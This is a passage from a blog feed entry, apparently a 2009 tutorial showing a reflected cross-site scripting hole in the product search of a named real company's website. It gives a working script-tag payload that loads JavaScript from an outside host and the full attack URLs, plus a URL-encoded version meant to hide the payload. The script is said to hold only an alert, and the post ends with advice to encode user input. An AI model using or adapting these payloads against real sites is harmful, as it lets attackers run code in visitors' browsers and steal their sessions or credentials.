class="Normal"&gt;That Match Your Search for "testA.,:;\'"&lt;&gt;()[]{}"&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;We're still free of encoding, and with this instance of the search string we can easily inject an HTML &lt;b&gt;script&lt;/b&gt; tag referencing a javascript file on another server. Our script, for the sake of testing purposes, only contains an alert. The code that will be injected is shown below.&lt;br /&gt;&lt;pre name="code" class="xml"&gt;&lt;br /&gt;&amp;lt;script type='text/javascript' src='http://www.yourdomain.com/test.js'&amp;gt;&amp;lt;/script&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Note that the address in this sample doesn't actually point to anything; you'll need to replace it with your own.&lt;br /&gt;&lt;br /&gt;Next, in the URL of the results page we replace the search string with the code we want to inject. The result should look like this:&lt;br /&gt;&lt;code&gt;&lt;br /&gt;http://www.sigmaaldrich.com/catalog/Lookup.do?N5=Keyword%20(fulltext)&amp;N3=mode+matchpartialmax&amp;N4=&amp;lt;script type='text/javascript' src='http://www.yourdomain.com/test.js'&amp;gt;&amp;lt;/script&amp;gt;&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;When we navigate to this URL, an alert should pop up letting us know that our off site code has been successfully run.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_r1bXskT1Xow/Sf97eQrFo-I/AAAAAAAAAAU/PAJQ8aNpQO0/s1600-h/Sigma-Aldrich2.jpg"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 320px; height: 226px;" src="http://4.bp.blogspot.com/_r1bXskT1Xow/Sf97eQrFo-I/AAAAAAAAAAU/PAJQ8aNpQO0/s320/Sigma-Aldrich2.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5332116243631940578" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;To better hide the payload and enhance browser compatibility we can URL encode the javascript resulting in a link that would look similar to this:&lt;br /&gt;&lt;code&gt;&lt;br /&gt;http://www.sigmaaldrich.com/catalog/Lookup.do?N5=Keyword%20(fulltext)&amp;N3=%3C%73%63%72%69%70%74%20%74%79%70%65%3D%27%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%27%20%73%72%63%3D%27%68%74%74%70%3A%2F%2F%77%77%77%2E%79%6F%75%72%64%6F%6D%61%69%6E%2E%63%6F%6D%2F%74%65%73%74%2E%6A%73%27%3E%3C%2F%73%63%72%69%70%74%3E&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;And that's it. XSS is a simple, powerful reminder to properly encode all user entered data.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4928953116864298022-8266561243987597900?l=cross-site-scripting.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cross-site-scripting.blogspot.com/feeds/8266561243987597900/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cross-site-scripting.blogspot.com/2009/05/xss-101-sigma-aldrich.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/8266561243987597900'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/8266561243987597900'/><link rel='alternate' type='text/html' href='http://cross-site-scripting.blogspot.com/2009/05/xss-101-sigma-aldrich.html' title='XSS 101 - SigmaAldrich.com'/><author><name>John Leitch</name><uri>http://www.blogger.com/profile/14370061601511942481</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_r1bXskT1Xow/Sf9r5Fg-B9I/AAAAAAAAAAM/s-33bltyI0c/s72-c/Sigma-Aldrich1.jpg' height='72' width='72'/><thr:total>1</thr:total></entry></feed>
